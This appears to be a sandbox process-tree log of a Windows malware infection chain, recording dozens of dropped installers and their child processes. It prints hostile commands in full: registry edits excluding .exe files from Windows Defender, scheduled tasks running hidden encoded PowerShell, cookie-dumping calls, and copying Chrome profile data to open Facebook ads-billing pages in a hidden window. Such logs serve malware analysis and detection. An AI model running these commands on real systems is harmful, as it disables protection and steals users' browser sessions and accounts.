C:\Users\Admin\AppData\Local\Temp\is-MGLI9.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-MGLI9.tmp\Setup.exe" /VERYSILENT67⤵PID:7240
-
C:\Users\Admin\AppData\Local\Temp\is-G5BP4.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-G5BP4.tmp\Setup.tmp" /SL5="$70610,298214,214528,C:\Users\Admin\AppData\Local\Temp\is-MGLI9.tmp\Setup.exe" /VERYSILENT68⤵PID:10456
-
C:\Users\Admin\AppData\Local\Temp\is-V0OSS.tmp\HGT.exe"C:\Users\Admin\AppData\Local\Temp\is-V0OSS.tmp\HGT.exe" /S /UID=lab21469⤵
- Drops file in Drivers directory
PID:12420 -
C:\Users\Admin\AppData\Local\Temp\bf-d0835-7a5-3ddac-841d4fa145976\Haexaxojesha.exe"C:\Users\Admin\AppData\Local\Temp\bf-d0835-7a5-3ddac-841d4fa145976\Haexaxojesha.exe"70⤵PID:16812
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5geiscc2.u1c\gaooo.exe & exit71⤵PID:12884
-
C:\Users\Admin\AppData\Local\Temp\5geiscc2.u1c\gaooo.exeC:\Users\Admin\AppData\Local\Temp\5geiscc2.u1c\gaooo.exe72⤵PID:13576
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt73⤵PID:5604
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt73⤵PID:16300
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\d1abrwur.kjm\md7_7dfj.exe & exit71⤵PID:13564
-
C:\Users\Admin\AppData\Local\Temp\d1abrwur.kjm\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\d1abrwur.kjm\md7_7dfj.exe72⤵
- Checks whether UAC is enabled
PID:5948 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zmzqpbtc.i3d\askinstall29.exe & exit71⤵
- Checks computer location settings
- Modifies registry class
PID:16852 -
C:\Users\Admin\AppData\Local\Temp\zmzqpbtc.i3d\askinstall29.exeC:\Users\Admin\AppData\Local\Temp\zmzqpbtc.i3d\askinstall29.exe72⤵
- Drops Chrome extension
PID:15300 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe73⤵PID:15848
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe74⤵
- Kills process with taskkill
PID:6984 -
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y73⤵
- Enumerates system info in registry
PID:5640 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/73⤵PID:12108
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffc43f36e00,0x7ffc43f36e10,0x7ffc43f36e2074⤵PID:13592
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1608,1329164455694045133,11970494685335120572,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2172 /prefetch:874⤵PID:6896
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1608,1329164455694045133,11970494685335120572,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1668 /prefetch:874⤵PID:10724
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1608,1329164455694045133,11970494685335120572,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1620 /prefetch:274⤵PID:12256
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,1329164455694045133,11970494685335120572,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2700 /prefetch:174⤵PID:7400
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,1329164455694045133,11970494685335120572,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2684 /prefetch:174⤵PID:7976
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,1329164455694045133,11970494685335120572,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3132 /prefetch:174⤵PID:2692
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,1329164455694045133,11970494685335120572,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3116 /prefetch:174⤵PID:16204
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,1329164455694045133,11970494685335120572,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3604 /prefetch:174⤵PID:9936
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,1329164455694045133,11970494685335120572,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4572 /prefetch:874⤵PID:11144
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kyvevbpw.hev\customer4.exe & exit71⤵PID:8528
-
C:\Users\Admin\AppData\Local\Temp\kyvevbpw.hev\customer4.exeC:\Users\Admin\AppData\Local\Temp\kyvevbpw.hev\customer4.exe72⤵PID:10064
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"73⤵PID:1240
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jyatyege.jdd\HookSetp.exe & exit71⤵PID:13900
-
C:\Users\Admin\AppData\Local\Temp\jyatyege.jdd\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\jyatyege.jdd\HookSetp.exe72⤵PID:15840
-
C:\ProgramData\8050359.88"C:\ProgramData\8050359.88"73⤵PID:9560
-
C:\ProgramData\6765460.74"C:\ProgramData\6765460.74"73⤵
- Suspicious behavior: SetClipboardViewer
PID:4132 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5tnxge4x.wcu\GcleanerWW.exe /mixone & exit71⤵PID:17496
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2ywwvue3.k3e\privacytools5.exe & exit71⤵PID:15248
-
C:\Users\Admin\AppData\Local\Temp\2ywwvue3.k3e\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\2ywwvue3.k3e\privacytools5.exe72⤵
- Suspicious use of SetThreadContext
PID:18044 -
C:\Users\Admin\AppData\Local\Temp\2ywwvue3.k3e\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\2ywwvue3.k3e\privacytools5.exe73⤵
- Checks SCSI registry key(s)
PID:17916 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\11fit1uy.ys5\setup.exe /8-2222 & exit71⤵
- Suspicious use of SetWindowsHookEx
PID:4796 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yni13zkl.vb1\MultitimerFour.exe & exit71⤵PID:8572
-
C:\Users\Admin\AppData\Local\Temp\yni13zkl.vb1\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\yni13zkl.vb1\MultitimerFour.exe72⤵PID:15700
-
C:\Users\Admin\AppData\Local\Temp\YYL09XWJKS\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\YYL09XWJKS\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10473⤵
- Drops file in Windows directory
PID:2564 -
C:\Users\Admin\AppData\Local\Temp\YYL09XWJKS\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\YYL09XWJKS\multitimer.exe" 1 3.1616085924.605383a473ca8 10474⤵
- Adds Run key to start application
PID:14180 -
C:\Users\Admin\AppData\Local\Temp\YYL09XWJKS\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\YYL09XWJKS\multitimer.exe" 2 3.1616085924.605383a473ca875⤵
- Maps connected drives based on registry
- Enumerates system info in registry
PID:6344 -
C:\Users\Admin\AppData\Local\Temp\TKAOL330M7\setups.exe"C:\Users\Admin\AppData\Local\Temp\TKAOL330M7\setups.exe" ll73⤵PID:5384
-
C:\Users\Admin\AppData\Local\Temp\is-2U3AL.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-2U3AL.tmp\setups.tmp" /SL5="$3054C,549376,61440,C:\Users\Admin\AppData\Local\Temp\TKAOL330M7\setups.exe" ll74⤵
- Checks computer location settings
PID:11916 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b0souxy3.lqz\setup.exe /S /kr /site_id=754 & exit71⤵PID:5584
-
C:\Users\Admin\AppData\Local\Temp\b0souxy3.lqz\setup.exeC:\Users\Admin\AppData\Local\Temp\b0souxy3.lqz\setup.exe /S /kr /site_id=75472⤵
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
PID:6580 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"73⤵PID:9840
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&74⤵PID:11048
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3275⤵PID:16252
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6475⤵PID:16196
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gjRzfjkPk" /SC once /ST 10:19:13 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="73⤵
- Creates scheduled task(s)
PID:5088 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gjRzfjkPk"73⤵PID:10704
-
C:\Users\Admin\AppData\Local\Temp\is-E6KIN.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-E6KIN.tmp\hjjgaa.exe" /Verysilent65⤵PID:17580
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt66⤵PID:17736
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt66⤵PID:12156
-
C:\Users\Admin\AppData\Local\Temp\bppy0xmihzj\31e5jfwbtzs.exe"C:\Users\Admin\AppData\Local\Temp\bppy0xmihzj\31e5jfwbtzs.exe" /ustwo INSTALL61⤵PID:4336
-
C:\Users\Admin\AppData\Local\Temp\e4w4x1dx1ed\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\e4w4x1dx1ed\askinstall24.exe"61⤵
- Drops Chrome extension
PID:16604 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe62⤵PID:9628
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe63⤵
- Kills process with taskkill
PID:7588 -
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y62⤵
- Enumerates system info in registry
PID:15292 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/62⤵PID:11592
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xe0,0xe4,0xe8,0xbc,0xec,0x7ffc43f36e00,0x7ffc43f36e10,0x7ffc43f36e2063⤵PID:11656
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1500 /prefetch:263⤵PID:10348
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1780 /prefetch:863⤵PID:12056
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2180 /prefetch:863⤵PID:12364
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2692 /prefetch:163⤵PID:14324
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2684 /prefetch:163⤵PID:16984
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3112 /prefetch:163⤵PID:5872
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:163⤵PID:5104
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3604 /prefetch:163⤵PID:6260
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2948 /prefetch:163⤵PID:4956
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4688 /prefetch:863⤵PID:5684
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1480,7382400851264462529,17916973028212131155,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=828 /prefetch:863⤵PID:496
-
C:\Users\Admin\AppData\Local\Temp\CLXPLFDKOC\setups.exe"C:\Users\Admin\AppData\Local\Temp\CLXPLFDKOC\setups.exe" ll58⤵PID:11876
-
C:\Users\Admin\AppData\Local\Temp\is-6ALDA.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-6ALDA.tmp\setups.tmp" /SL5="$6059C,549376,61440,C:\Users\Admin\AppData\Local\Temp\CLXPLFDKOC\setups.exe" ll59⤵
- Checks computer location settings
PID:11176 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5mud3zxi.ler\setup.exe /S /kr /site_id=754 & exit56⤵PID:13264
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV157⤵PID:14084
-
C:\Users\Admin\AppData\Local\Temp\5mud3zxi.ler\setup.exeC:\Users\Admin\AppData\Local\Temp\5mud3zxi.ler\setup.exe /S /kr /site_id=75457⤵
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
PID:2672 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"58⤵PID:14292
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&59⤵PID:8952
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3260⤵PID:14364
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6460⤵PID:12296
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gueCPlTUO" /SC once /ST 06:55:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="58⤵
- Creates scheduled task(s)
PID:10272 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gueCPlTUO"58⤵PID:7192
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gueCPlTUO"58⤵PID:5004
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWIRRaDZCpCYZHZEtf" /SC once /ST 16:41:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\OiRQGqF.exe\" nh /site_id 754 /S" /V1 /F58⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:7840 -
C:\Users\Admin\AppData\Local\Temp\is-Q656S.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-Q656S.tmp\hjjgaa.exe" /Verysilent50⤵PID:4944
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt51⤵PID:6504
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt51⤵PID:5796
-
C:\Users\Admin\AppData\Local\Temp\xcdmcwjiycl\rp03erkobpf.exe"C:\Users\Admin\AppData\Local\Temp\xcdmcwjiycl\rp03erkobpf.exe" /ustwo INSTALL46⤵PID:7924
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7924 -s 64847⤵
- Program crash
PID:14048 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7924 -s 66047⤵
- Program crash
PID:15092 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7924 -s 66447⤵
- Program crash
PID:2612 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7924 -s 80847⤵
- Program crash
PID:6028 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7924 -s 64447⤵
- Program crash
PID:16120 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7924 -s 92847⤵
- Program crash
PID:15468 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7924 -s 108447⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:16496 -
C:\Users\Admin\AppData\Local\Temp\udeiard2gmp\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\udeiard2gmp\AwesomePoolU1.exe"46⤵PID:12948
-
C:\Users\Admin\AppData\Local\Temp\z33sylcsphe\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\z33sylcsphe\askinstall24.exe"46⤵PID:8616
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe47⤵PID:12836
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe48⤵
- Kills process with taskkill
PID:11120 -
C:\Users\Admin\AppData\Local\Temp\AO5DHPW6T0\setups.exe"C:\Users\Admin\AppData\Local\Temp\AO5DHPW6T0\setups.exe" ll43⤵PID:8704
-
C:\Users\Admin\AppData\Local\Temp\is-8VPMB.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-8VPMB.tmp\setups.tmp" /SL5="$70502,549376,61440,C:\Users\Admin\AppData\Local\Temp\AO5DHPW6T0\setups.exe" ll44⤵
- Checks computer location settings
PID:8792 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\caglxgrt.jot\setup.exe /S /kr /site_id=754 & exit41⤵PID:6860
-
C:\Users\Admin\AppData\Local\Temp\caglxgrt.jot\setup.exeC:\Users\Admin\AppData\Local\Temp\caglxgrt.jot\setup.exe /S /kr /site_id=75442⤵
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
PID:7536 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"43⤵PID:8176
-
